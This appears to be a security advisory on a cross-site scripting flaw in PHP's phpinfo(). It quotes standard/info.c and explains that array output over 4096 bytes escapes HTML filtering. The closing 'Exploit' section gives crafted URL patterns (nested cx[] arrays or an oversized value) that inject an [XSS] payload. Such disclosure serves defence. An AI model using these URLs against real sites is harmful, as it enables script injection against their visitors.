- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of
the PHP Conference Material is freely available.

- --- 1. Cross Site Scripting ---
In phpinfo() you can see all Varibles like:

file: standard/info.c
- -630-636---
php_print_gpcse_array("_REQUEST", sizeof("_REQUEST")-1 TSRMLS_CC);
php_print_gpcse_array("_GET", sizeof("_GET")-1 TSRMLS_CC);
php_print_gpcse_array("_POST", sizeof("_POST")-1 TSRMLS_CC);
php_print_gpcse_array("_FILES", sizeof("_FILES")-1 TSRMLS_CC);
php_print_gpcse_array("_COOKIE", sizeof("_COOKIE")-1 TSRMLS_CC);
php_print_gpcse_array("_SERVER", sizeof("_SERVER")-1 TSRMLS_CC);
php_print_gpcse_array("_ENV", sizeof("_ENV")-1 TSRMLS_CC);
- -630-636---

Function php_print_gpcse_array() for any arrays check 4096b of varible.

file: standard/info.c
- -135-154---
if (Z_TYPE_PP(tmp) == IS_ARRAY) {
zval *tmp3;
MAKE_STD_ZVAL(tmp3);
if (!sapi_module.phpinfo_as_text) {
PUTS("<pre>");
}
php_start_ob_buffer(NULL, 4096, 1 TSRMLS_CC);
zend_print_zval_r(*tmp, 0);
php_ob_get_buffer(tmp3 TSRMLS_CC);
php_end_ob_buffer(0, 0 TSRMLS_CC);

elem_esc = php_info_html_esc(Z_STRVAL_P(tmp3) TSRMLS_CC);
PUTS(elem_esc);
efree(elem_esc);
zval_ptr_dtor(&tmp3);

if (!sapi_module.phpinfo_as_text) {
PUTS("</pre>");
}
} else if (Z_TYPE_PP(tmp) != IS_STRING) {
- -135-154---

So if we create array longer like 4096, html tags don't be remove.

Exploit:
If in php script is function phpinfo() try create some varibles (array)
like

phpinfo.php?cx[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][
][][][][][][]=[XSS]

or

phpinfo.php?cx[]=ccccc..~4096chars...ccc[XSS]
